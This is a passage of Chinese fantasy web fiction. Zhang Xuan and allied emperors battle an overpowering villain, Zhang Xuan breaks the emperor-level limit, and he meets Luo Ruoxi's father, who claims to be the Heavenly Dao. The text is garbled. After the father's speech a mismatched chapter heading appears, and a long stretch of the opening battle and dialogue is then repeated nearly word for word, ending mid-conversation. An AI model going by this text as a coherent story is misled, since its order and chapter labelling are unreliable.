同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。
她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。
“你们的招数是很厉害,但对比我,还是差了些……”
轻轻一笑,狠人再次向下抓来。
一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。
噗!噗!
张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。
以二人的实力,竟然抵挡不住!
这家伙到底达到了何种境界?
“放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。
远远看去,逼格十足。
炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。
一拳扬起,力量冲上九天。
和狠人对碰,同样倒飞而出,挡不住一招。
张悬捂住额头。
成就帝君了,分身依旧不改装逼的本性……
这么绚丽的装逼,还不如将力量集中起来,威力更大!
“一起出手,不然,他们死了,我们都会死……”
小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。
剩下六大帝君,也各自施展手段。
七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。
嘭嘭嘭嘭!
七位帝君和张悬等人一样,倒飞而出。
十大帝君,联合在一起,竟然都没挡住对方一招!
这家伙,怎么会这么强大?
“你们可以死了……”
一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。
“鼠辈敢尔!”
伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。
“帝君?他也是帝君实力?”
张悬瞳孔一缩。
这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者!
如果他是帝君,那位青年,是什么?
“他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。
“那……传我剑法的青年呢?”张悬再也忍不住。
“他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。
张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。
“哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!”
将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。
“怎么办?”张悬拳头捏紧。
刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招……
难道神界,真的没人能够挡住眼前这位?
任由他将世界毁灭?
“唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。
“回归天道本身?”张悬知道她的意思。
脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。
就好像人体的免疫系统。
免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。
只是……
“他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。
病毒,免疫系统是可以斩杀,但……猛虎呢?
再强的免疫系统,又有什么办法?
眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。
“这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!”
“他?”张悬皱眉。
“我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。
“想逃?”狠人冷哼,向下一按。
嘭!
洛若曦从空中坠落。
“你……”张悬剑法再次施展出来,剑意辉煌而出。
叮叮叮!
再次被狠人挡住。
“你们快走,我来挡住他……”
知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。
四周的空间凝固起来。
“走!”
见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。
自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。
“你说的他,在哪里?”
没空去观察普通人的生活,张悬看向怀中的女孩。
如果她说的那人,真能拯救神界,自己牺牲又何妨!
“他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。
“父亲?”
张悬恍然大悟。
难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。
这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。
“你父亲也是帝君?或者拥有超越帝君的实力?”
忍不住道。
图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大?
如果是这样的话,又为何会昏迷?
又需要天道有缺,才能让其清醒?
“他不是帝君,而是……天道!”
洛若曦秀拳捏紧。
“天道?你父亲……是天道?”张悬一震,不敢相信。
“是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。”
洛若曦道。
张悬恍然。
名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。
竟然是她父亲,而且还是神界天道!
天道真的能够化成人形,并且生儿育女吗?
“代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。
代为掌控,和自己这种融合在体内,是两种概念。
“我只是掌控,并不是天道的一部分……”洛若曦道。
张悬松了口气。
这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。
尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。
“我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。
“这……我也不确定……”
抬头看了看已经崩塌的神界,洛若曦迟疑。
神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗?
真不好说!
“看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!”
“孔师?他……”洛若曦皱眉。
“孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!”
张悬道。
看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。
可以做到胎中不迷。
再加上提前留下的后手,复活,只是时间问题。
洛若曦愣住,似乎她没想到,会是这样。
“过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。
孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。
必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做!
而这种重要的事,明显就是让孔师恢复。
“这……”洛若曦心中一震,恍然大悟。
“走吧!”
不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!”
不是孔师,又是何人!
这位万世之师,果然没让自己失望!
和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。
“你……”洛若曦娇躯一震。
她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快!
“我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!”
孔师微微一笑。
他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。
几十年的时光,都有了。
“我们三人的实力,是很强,但想要胜过狠人,也没那么容易……”
见孔师果真恢复,洛若曦依旧摇头。
不是涨他人威风,灭自己志气,而是事实。
刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何?
同样改变不了局面!
“我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?”
孔师笑着看过来。
“融合在一个人身上?”
这次不光洛若曦皱眉,张悬也满是疑惑。
“那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……”
孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!”
“如何集中?”
洛若曦看过来。
说的简单,做起来难。
帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。
“很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!”
孔师道。
“我?”张悬一愣:“为什么是我?”
“灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!”
孔师道。
洛若曦说不出话来。
战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。
“无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……”
孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……”
当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。
“所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!”
孔师继续道。
生当复来归,死当长相思!
连死亡都不在乎,又怎么会被其他事情所羁绊?
“这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!”
“好吧!”
见对方已经做出决定,自己解释再多也无用,张悬点了点头。
轰隆!
盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。
张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。
灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。
……
“你们也想拦我?也好,杀了你们,再去将张悬斩杀……”
将洛七七和分身等人拍飞,狠人冷冷一笑。
分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。
潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。
此时的狠人,仿佛代表了整个神界,无人能挡。
“神界灭亡,我们活着也没意义,我云螭,与你同归于尽……”
云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。
“就你?不配!”
狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。
“老友,等我!”
扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。
不死帝君,不死火凤本尊显示出来,火焰照耀天空。
玄冥大帝,本尊乃一头大龟,宛如托举着诸天。
四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。
乾坤仿佛在瞬间定住。
嘭嘭嘭嘭!
连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……”
咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。
“想要杀他们,问过我没有……”
随即,众人震惊的目光中,一个人影从空中缓步走了出来。
正是张悬!
此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。
“进步了不少……”
狠人停了下来,目光凝重。
他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。
“不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……”
一声冷哼,狠人再次拍落而下。
张悬长剑扬起,迎了上来。
双方战斗在一起,空间一道道撕裂,气流四处乱窜。
“张悬能不能获胜?”
自在天孔师驻地,洛若曦满是担忧的看过去。
她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。
不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。
“凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!”
沉默了片刻,孔师道。
十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。
之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我!
“超越帝君的力量?”
洛若曦眼神悠远。
父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗?
“他一定能……他有着一颗不屈的心!和对这个世界的傲然。”
看出她心中的疑问,孔师笑道。
……
嘭嘭嘭!
连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。
和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。
“哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。
“反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。
“好,我成全你,给你最强的攻击……”
听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。
哗啦!
一道青光出现在掌心,猛地拍落而下。
果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。
双眼紧闭,张悬并未躲避。
嘭!
脑袋炸裂开来,灵魂四处溃散。
“张悬……”看到这一幕,所有人都脸色一白。
洛七七宛如发疯。
云螭大帝等人也瞪大眼睛,不停哆嗦。
看到这一幕的孔师和洛若曦也全都一愣。
本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死?
这样,岂不辜负了他们的一番好心?
“不对,是不死帝君的不死之法……”
正在奇怪,孔师突然开口。
众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。
“他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?”
洛若曦瞳孔收缩。
浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道!
“他怎么做到的?”
孔师也满是不敢相信。
天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。
眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法?
“我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。
灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。
绑定了灵魂,不死不会脱离。
但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。
这才故意拼死,让其施展出最强力量对他攻击。
借助这种力量,浴火重生,没想到,果然大获成功!
“原来如此,这才是突破帝君的方法……”
从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。
刹那间,与自身完美融合。
一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。
脚掌在地上轻轻一踏。
混乱的九天,立刻稳定下来。
九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。
不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。
“主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!”
面带微笑,张悬喃喃自语。
天道图书馆脱离灵魂的刹那,他明白过来。
是人看了世界,才有了世界,还是先有世界,后有了人?
是风动,还是心动!
这个问题,亘古不朽的困扰着无数人。
当然,现在……这些都不重要了!
没有生命,没有情感,世界就算存在,又有何意义?
所以,突破爱情之后,是众生情!是交织天下的情感。
世间万物皆有情感,有情才有世界,有情感,才能延续生命。
爱,是情。
憎,是情。
高兴,是情。
痛苦,是情。
离别,是情。
相聚,也是情!
“万千情意,为我所用……”
一声低呼,张悬体内禁锢的境界,瞬间破开。
帝君桎梏,突破了!
一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。
无数混沌之气,涌了过来,肉身也飞速提升。
之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。
“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。
“你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?”
淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。
原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。
只要有情,就要被他所用,被他控制!
“你……”
狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……”
“现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。
掌控天下之情,仆人之类对于他来说,已经没任何意义了。
杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕!
“不……”
感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。
嘭!
一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。
之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。
“这……”
“这样就杀了?”
云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。
刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步?
难道帝君之上,真的还有另外的境界?
“他成功了……”
孔师和洛若曦,松开捏紧的拳头。
“这是天道的一部分,那我现在就归还天道……”
看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。
嗡!
从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。
大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。
崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。
“看来,神界要重新迎接灵气复苏时代了……”张悬一笑。
潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。
“张悬,这边来……”
刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。
这一步,不知飞了多远,随即看到一个青年站在面前。
正是之前传授自己剑法的那位。
“前辈,你……”
看到是他,张悬一愣。
之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。
“直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。
“聂铜?”张悬皱了皱眉。
第一次听到这个名字。
“跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。
张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。
随即看到了另外一个青年。
容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。
“这实力……”张悬一颤。
眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重!
“在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!”
“若曦的父亲?”
张悬一震:“你……是神界天道?”
之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。
“我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。
张悬不敢相信。
神界竟然是眼前这人创造的?
那他的实力,该有多强?
“不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。
如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问?
甚至连女儿的生死,都关心?
没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?”
“这……”张悬停顿了一下:“应该有吧……”
虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。
就好像眼前这位。
“我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!”
聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。”
“这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!”
“所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!”
聂云笑道。
“不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。
难怪,能够穿越过来,没想到都是眼前这位所为。
“呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……”
“我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……”
没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。
“机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?”
聂云道。
张悬沉默不语。
当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。
也有可能,他不愿意斩杀洛若曦吧。
可惜,就这一念之间,错过了晋级的机会。
“如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。
难不成,眼前这位连女儿的生死都不管了?
“有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?”
“这……”张悬苦笑。
突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。
“灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……”
聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……”
看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……”
不答应也没办法,谁让自己拐走了人家的女儿……
“天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。”
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第77章 刺杀失败
灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。
就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。
为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊!
“灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!”
狠人道。
灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难?
“原来如此……”张悬目光一闪。
“和你说这么多,也算感谢将我带到神界了!”
解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。
“张悬,黑洞吞的越多,他的实力越强……”
洛若曦也发现了不对劲,急忙传音过来。
“准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!”
轰隆!
最强大的剑意,再次施展而出。
生当复来归,死当长相思!
生死皆不在乎,又有何事可以阻拦?
这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。
呼!
一剑将狠人的攻击,斩成两半。
同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。
她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。
“你们的招数是很厉害,但对比我,还是差了些……”
轻轻一笑,狠人再次向下抓来。
一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。
噗!噗!
张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。
以二人的实力,竟然抵挡不住!
这家伙到底达到了何种境界?
“放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。
远远看去,逼格十足。
炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。
一拳扬起,力量冲上九天。
和狠人对碰,同样倒飞而出,挡不住一招。
张悬捂住额头。
成就帝君了,分身依旧不改装逼的本性……
这么绚丽的装逼,还不如将力量集中起来,威力更大!
“一起出手,不然,他们死了,我们都会死……”
小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。
剩下六大帝君,也各自施展手段。
七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。
嘭嘭嘭嘭!
七位帝君和张悬等人一样,倒飞而出。
十大帝君,联合在一起,竟然都没挡住对方一招!
这家伙,怎么会这么强大?
“你们可以死了……”
一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。
“鼠辈敢尔!”
伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。
“帝君?他也是帝君实力?”
张悬瞳孔一缩。
这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者!
如果他是帝君,那位青年,是什么?
“他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。
“那……传我剑法的青年呢?”张悬再也忍不住。
“他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。
张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。
“哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!”
将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。
“怎么办?”张悬拳头捏紧。
刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招……
难道神界,真的没人能够挡住眼前这位?
任由他将世界毁灭?
“唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。
“回归天道本身?”张悬知道她的意思。
脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。
就好像人体的免疫系统。
免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。
只是……
“他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。
病毒,免疫系统是可以斩杀,但……猛虎呢?
再强的免疫系统,又有什么办法?
眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。
“这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!”
“他?”张悬皱眉。
“我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。
“想逃?”狠人冷哼,向下一按。
嘭!
洛若曦从空中坠落。
“你……”张悬剑法再次施展出来,剑意辉煌而出。
叮叮叮!
再次被狠人挡住。
“你们快走,我来挡住他……”
知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。
四周的空间凝固起来。
“走!”
见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。
自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。
“你说的他,在哪里?”
没空去观察普通人的生活,张悬看向怀中的女孩。
如果她说的那人,真能拯救神界,自己牺牲又何妨!
“他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。
“父亲?”
张悬恍然大悟。
难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。
这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。
“你父亲也是帝君?或者拥有超越帝君的实力?”
忍不住道。
图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大?
如果是这样的话,又为何会昏迷?
又需要天道有缺,才能让其清醒?
“他不是帝君,而是……天道!”
洛若曦秀拳捏紧。
“天道?你父亲……是天道?”张悬一震,不敢相信。
“是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。”
洛若曦道。
张悬恍然。
名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。
竟然是她父亲,而且还是神界天道!
天道真的能够化成人形,并且生儿育女吗?
“代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。
